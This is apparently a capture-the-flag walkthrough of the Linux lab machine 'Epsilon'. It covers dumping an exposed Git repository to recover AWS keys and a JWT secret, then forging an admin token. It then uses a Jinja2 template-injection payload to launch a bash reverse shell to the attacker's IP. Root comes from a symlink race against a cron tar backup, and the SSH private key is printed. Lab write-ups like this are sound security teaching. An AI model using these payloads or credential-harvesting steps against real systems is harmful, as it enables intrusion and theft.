Epsilon
10 minutes to read
- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.134
- Release: 07 / 02 / 2022
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.134 -p 22,80,5000
Nmap scan report for 10.10.11.134
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41
| http-git:
| 10.10.11.134:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Updating Tracking API # Please enter the commit message for...
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: 403 Forbidden
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Costume Shop
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 8.86 seconds
This machine has ports 22 (SSH), 80 (HTTP) and 5000 (HTTP) open.
Web enumeration
There is a website on port 5000. It looks like this:
We can enumerate more routes but we cannot access them because we do not have valid credentials yet:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.134:5000/FUZZ
home [Status: 302, Size: 208, Words: 21, Lines: 4]
order [Status: 302, Size: 208, Words: 21, Lines: 4]
track [Status: 200, Size: 4288, Words: 631, Lines: 234]
[Status: 200, Size: 3550, Words: 522, Lines: 205]
Git repository enumeration
The output of nmap
unveiled that there is a Git repository exposed on port 80.
We may use some tool like git-dumper
, but this time I used gitdumper.sh
from GitTools:
$ bash gitdumper.sh http://10.10.11.134/.git/ ./epsilon_git
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[*] Destination folder does not exist
[+] Creating ./epsilon/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[-] Downloaded: /refs/wip/index/refs/heads/master
[-] Downloaded: /refs/wip/wtree/refs/heads/master
[+] Downloaded: objects/c6/22771686bd74c16ece91193d29f85b5f9ffa91
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/7c/f92a7a09e523c1c667d13847c9ba22464412f3
[+] Downloaded: objects/c5/1441640fd25e9fba42725147595b5918eba0f1
[+] Downloaded: objects/b1/0dd06d56ac760efbbb5d254ea43bf9beb56d2d
[+] Downloaded: objects/ce/401ccecf421ff19bf43fafe8a60a0d0f0682d0
[+] Downloaded: objects/5c/52105750831385d4756111e1103957ac599d02
[+] Downloaded: objects/b5/f4c99c772eeb629e53d284275458d75ed9a010
[+] Downloaded: objects/ab/07f7cdc7f410b8c8f848ee5674ec550ecb61ca
[+] Downloaded: objects/cf/489a3776d2bf87ac32de4579e852a4dc116ce8
[+] Downloaded: objects/65/b80f62da28254f67f0bea392057fd7d2330e2d
[+] Downloaded: objects/df/dfa17ca5701b1dca5069b6c3f705a038f4361e
[+] Downloaded: objects/8d/3b52e153c7d5380b183bbbb51f5d4020944630
[+] Downloaded: objects/fe/d7ab97cf361914f688f0e4f2d3adfafd1d7dca
[+] Downloaded: objects/54/5f6fe2204336c1ea21720cbaa47572eb566e34
Now we should have a .git
directory inside epsilon_git
:
$ cd epsilon_git
$ ls -a
. .. .git
At this point we can extract the current code of the main branch using:
$ git checkout .
$ ls
server.py track_api_CR_148.py
The file server.py
contains a simple Flask application that corresponds to the website on port 5000:
#!/usr/bin/python3
import jwt
from flask import *
app = Flask(__name__)
secret = '<secret_key>'
def verify_jwt(token, key):
try:
username = jwt.decode(token, key, algorithms=['HS256'])['username']
if username:
return True
else:
return False
except:
return False
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
if request.form['username'] == 'admin' and request.form['password'] == 'admin':
res = make_response()
username = request.form['username']
token = jwt.encode({'username': 'admin'}, secret, algorithm='HS256')
res.set_cookie('auth', token)
res.headers['location'] = '/home'
return res, 302
else:
return render_template('index.html')
else:
return render_template('index.html')
@app.route('/home')
def home():
if verify_jwt(request.cookies.get('auth'), secret):
return render_template('home.html')
else:
return redirect('/', code=302)
@app.route('/track', methods=['GET', 'POST'])
def track():
if request.method == 'POST':
if verify_jwt(request.cookies.get('auth'), secret):
return render_template('track.html', message=True)
else:
return redirect('/', code=302)
else:
return render_template('track.html')
@app.route('/order', methods=['GET', 'POST'])
def order():
if verify_jwt(request.cookies.get('auth'), secret):
if request.method == 'POST':
costume = request.form['costume']
message = '''
Your order of '{}' has been placed successfully.
'''.format(costume)
tmpl = render_template_string(message, costume=costume)
return render_template('order.html', message=tmpl)
else:
return render_template('order.html')
else:
return redirect('/', code=302)
app.run(debug='true')
We see it is using some hard-coded credentials (admin:admin
). However, they do not work. It seems that we will need to craft a JWT (JSON Web Token) token to access the website, but we do not have the secret key.
Moreover, we observe that there is a Server-Side Template Injection (SSTI) vulnerability in /order
, because we can send costume
as a body parameter and it is inserted into a text that will be directly rendered by Jinja2 (the default template engine for Flask), without any validation.
The file called track_api_CR_148.py
contains some stuff for Amazon Web Services (particularly, AWS Lambda):
import io
import os
from zipfile import ZipFile
from boto3.session import Session
session = Session(
aws_access_key_id='<aws_access_key_id>',
aws_secret_access_key='<aws_secret_access_key>',
region_name='us-east-1',
endpoint_url='http://cloud.epsilon.htb')
aws_lambda = session.client('lambda')
def files_to_zip(path):
for root, dirs, files in os.walk(path):
for f in files:
full_path = os.path.join(root, f)
archive_name = full_path[len(path) + len(os.sep):]
yield full_path, archive_name
def make_zip_file_bytes(path):
buf = io.BytesIO()
with ZipFile(buf, 'w') as z:
for full_path, archive_name in files_to_zip(path=path):
z.write(full_path, archive_name)
return buf.getvalue()
def update_lambda(lambda_name, lambda_code_path):
if not os.path.isdir(lambda_code_path):
raise ValueError('Lambda directory does not exist: {0}'.format(lambda_code_path))
aws_lambda.update_function_code(
FunctionName=lambda_name,
ZipFile=make_zip_file_bytes(path=lambda_code_path))
Again, there are two keys that are not present in the code in order to configure AWS Lambda.
However, we have the Git repository. Maybe we can find previous commits:
$ git log
commit c622771686bd74c16ece91193d29f85b5f9ffa91 (HEAD -> master)
Author: root <root@epsilon.htb>
Date: Wed Nov 17 17:41:07 2021 +0000
Fixed Typo
commit b10dd06d56ac760efbbb5d254ea43bf9beb56d2d
Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:02:59 2021 +0000
Adding Costume Site
commit c51441640fd25e9fba42725147595b5918eba0f1
Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:00:58 2021 +0000
Updatig Tracking API
commit 7cf92a7a09e523c1c667d13847c9ba22464412f3
Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:00:28 2021 +0000
Adding Tracking API Module
Let’s see some differences using the commit identifiers (adding just the beginning of the hash is enough):
$ git diff b10dd06 c622771
diff --git a/track_api_CR_148.py b/track_api_CR_148.py
index 545f6fe..8d3b52e 100644
--- a/track_api_CR_148.py
+++ b/track_api_CR_148.py
@@ -8,8 +8,8 @@ session = Session(
aws_access_key_id='<aws_access_key_id>',
aws_secret_access_key='<aws_secret_access_key>',
region_name='us-east-1',
- endpoint_url='http://cloud.epsilong.htb')
-aws_lambda = session.client('lambda')
+ endpoint_url='http://cloud.epsilon.htb')
+aws_lambda = session.client('lambda')
Ok, this is just a typo, although we can put cloud.epsilon.htb
into /etc/hosts
. Here is a more interesting difference:
$ git diff 7cf92a c514416
diff --git a/track_api_CR_148.py b/track_api_CR_148.py
index fed7ab9..545f6fe 100644
--- a/track_api_CR_148.py
+++ b/track_api_CR_148.py
@@ -5,8 +5,8 @@ from boto3.session import Session
session = Session(
- aws_access_key_id='AQLA5M37BDN6FJP76TDC',
- aws_secret_access_key='OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A',
+ aws_access_key_id='<aws_access_key_id>',
+ aws_secret_access_key='<aws_secret_access_key>',
region_name='us-east-1',
endpoint_url='http://cloud.epsilong.htb')
aws_lambda = session.client('lambda')
And here we have some hard-coded secrets to setup AWS Lambda. Using this, we can configure AWS CLI to interact with AWS Lambda and download the code for the function:
$ aws configure
AWS Access Key ID [None]: AQLA5M37BDN6FJP76TDC
AWS Secret Access Key [None]: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
Default region name [None]: us-east-1
Default output format [None]:
Then, we can list the functions that are deployed for cloud.epsilon.htb
:
$ aws --endpoint-url=http://cloud.epsilon.htb lambda list-functions
{
"Functions": [
{
"FunctionName": "costume_shop_v1",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
"Runtime": "python3.7",
"Role": "arn:aws:iam::123456789012:role/service-role/dev",
"Handler": "my-function.handler",
"CodeSize": 478,
"Description": "",
"Timeout": 3,
"LastModified": "2022-02-14T23:01:58.240+0000",
"CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "d54a4387-53bc-49c5-a55c-c3bc5c8aed47",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
}
]
}
We see that costume_shop_v1
is the only function. Let’s examine it:
$ aws --endpoint-url=http://cloud.epsilon.htb lambda get-function --function-name costume_shop_v1
{
"Configuration": {
"FunctionName": "costume_shop_v1",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
"Runtime": "python3.7",
"Role": "arn:aws:iam::123456789012:role/service-role/dev",
"Handler": "my-function.handler",
"CodeSize": 478,
"Description": "",
"Timeout": 3,
"LastModified": "2022-02-11T05:29:01.295+0000",
"CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "bf23b664-e576-4493-8578-9906b999b8cc",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
},
"Code": {
"Location": "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
},
"Tags": {}
}
The code is availbable at a given URL, in a ZIP file:
$ wget http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code
$ file code
code: Zip archive data, at least v2.0 to extract, compression method=deflate
$ unzip code
Archive: code
inflating: lambda_function.py
This is the source code for the deployed AWS Lambda function:
import json
secret = 'RrXCv`mrNe!K!4+5`wYq' # apigateway authorization for CR-124
'''Beta release for tracking'''
def lambda_handler(event, context):
try:
id = event['queryStringParameters']['order_id']
if id:
return {
'statusCode': 200,
'body': json.dumps(str(resp)) # dynamodb tracking for CR-342
}
else:
return {
'statusCode': 500,
'body': json.dumps('Invalid Order ID')
}
except:
return {
'statusCode': 500,
'body': json.dumps('Invalid Order ID')
}
And here we have the secret for the JWT implementation.
Foothold on the machine
Now we are able to craft a valid JWT token as follows:
>>> import jwt
>>> jwt.encode({'username': 'admin'}, 'RrXCv`mrNe!K!4+5`wYq', algorithm='HS256')
'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.8JUBz8oy5DlaoSmr0ffLb_hrdSHl0iLMGz-Ece7VNtg'
We can use this token as a cookie named auth
to access to some more pages in the website:
However, we found an SSTI attack vector in /order
, so let’s exploit it.
First of all, we must test that the SSTI works using a simple payload:
$ curl 10.10.11.134:5000/order -sd 'costume={{7*7}}&q=1337&addr=asdf' -H 'Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.8JUBz8oy5DlaoSmr0ffLb_hrdSHl0iLMGz-Ece7VNtg' | grep 49
Your order of "49" has been placed successfully.
Since {{7*7}}
is replaced by 49
, the injection works. Now we can check PayloadsAllTheThings to take a Remote Code Execution (RCE) payload like this one:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
But instead of using id
as a command, we will execute a reverse shell encoding the command in Base64:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
Now we send the payload while we listen with nc
:
$ curl 10.10.11.134:5000/order -sd 'costume={{cycler.__init__.__globals__.os.popen("echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash").read()}}&q=1337&addr=asdf' -H 'Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.8JUBz8oy5DlaoSmr0ffLb_hrdSHl0iLMGz-Ece7VNtg'
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.134.
Ncat: Connection from 10.10.11.134:32940.
bash: cannot set terminal process group (996): Inappropriate ioctl for device
bash: no job control in this shell
tom@epsilon:/var/www/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
tom@epsilon:/var/www/app$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
tom@epsilon:/var/www/app$ export TERM=xterm
tom@epsilon:/var/www/app$ export SHELL=bash
tom@epsilon:/var/www/app$ stty rows 50 columns 158
tom@epsilon:/var/www/app$ cd
tom@epsilon:~$ cat user.txt
f331291fab610895dd18aefba73ffb2c
System enumeration
Basic enumeration tells us that there weird directory at /opt
:
tom@epsilon:~$ ls -la --time-style=+ /opt
total 16
drwxr-xr-x 4 root root 4096 .
drwxr-xr-x 19 root root 4096 ..
drwxr-xrwx 2 root root 4096 backups
drwx--x--x 4 root root 4096 containerd
We are able to write and read from this backups
directory. Usually, backups are made periodically, so maybe we can find a script that is being run as a Cron job:
tom@epsilon:~$ find / -type f -name \*backup\* 2>/dev/null | grep -v python
/usr/share/man/man8/vgcfgbackup.8.gz
/usr/src/linux-headers-5.4.0-97-generic/include/config/wm831x/backup.h
/usr/src/linux-headers-5.4.0-97-generic/include/config/net/team/mode/activebackup.h
/usr/src/linux-headers-5.4.0-97/tools/testing/selftests/net/tcp_fastopen_backup_key.sh
/usr/lib/x86_64-linux-gnu/open-vm-tools/plugins/vmsvc/libvmbackup.so
/usr/lib/modules/5.4.0-97-generic/kernel/drivers/power/supply/wm831x_backup.ko
/usr/lib/modules/5.4.0-97-generic/kernel/drivers/net/team/team_mode_activebackup.ko
/usr/bin/backup.sh
/sys/devices/virtual/net/veth3701941/brport/backup_port
There is a Bash script at /usr/bin/backup.sh
that performs a periodic backup of /var/www/app
:
#!/bin/bash
file=`date +%N`
/usr/bin/rm -rf /opt/backups/*
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/
sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum
sleep 5
check_file=`date +%N`
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"
/usr/bin/rm -rf /opt/backups/*
The vulnerability here is the use of -h
for tar
because it will follow symlinks and compress their contents. Using explainsh
, we can see what each flag of the command does:
$ explainsh 'tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"'
The GNU version of the tar archiving utility
-c, --create
create a new archive
-h, --dereference
follow symlinks; archive and dump the files they point to
-v, --verbose
verbosely list files processed
-f, --file ARCHIVE
use archive file or device ARCHIVE
tar [-] A --catenate --concatenate | c --create | d --diff --compare | --delete | r --append | t --list |
--test-label | u --update | x --extract --get [options] [pathname ...]
http://manpages.ubuntu.com/manpages/precise/en/man1/tar.html
Privilege escalation
In order to exploit the Cron job, we will use /opt/backups/checksum
to store a symlink to /root/.ssh
. This must be configured after the first execution of tar
(we will have 5 seconds). The second one uses -h
, so the contents of /opt/backups/checksum -> /root/.ssh
will be compressed and stored at /var/backups/web_backups/
.
Although it can be done manually, I decided to use a custom Bash script:
tom@epsilon:~$ cd /tmp
tom@epsilon:/tmp$ vim privesc.sh
#!/usr/bin/env bash
while true; do
if [ ! -z "$(ls /opt/backups)" ]; then
echo '[*] First `tar` executed'
break
fi
done
rm -f /opt/backups/checksum
ln -sf /root/.ssh /opt/backups/checksum
echo '[+] Symlink created'
sleep 6
file=$(ls -la /var/backups/web_backups | tail -1 | awk '{ print $9 }')
echo "[+] Found file: $file"
cp /var/backups/web_backups/$file /tmp
cd /tmp
tar -xvf $file
echo '[!] Symlink content'
ls opt/backups/checksum
echo '[!] `root` SSH key'
cat opt/backups/checksum/id_rsa
Basically, it waits until a new backup is stored in /opt/backups
, then it creates the symlink and waits until the second backup is stored in /var/backups/web_backups
. After that, we take the compressed file and extract its contents in order to read /root/.ssh/id_rsa
:
tom@epsilon:/tmp$ bash privesc.sh
[*] First `tar` executed
[+] Symlink created
[+] Found file: 376776221.tar
opt/backups/checksum/
opt/backups/checksum/id_rsa
opt/backups/checksum/id_rsa.pub
opt/backups/checksum/authorized_keys
opt/backups/366066624.tar
[!] Symlink content
authorized_keys id_rsa id_rsa.pub
[!] `root` SSH key
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
Using this SSH private key, we can access to the machine as root
:
$ ssh -i id_rsa root@10.10.11.134
root@epsilon:~# cat root.txt
cf3d789a49b8c920c09142c741e00c34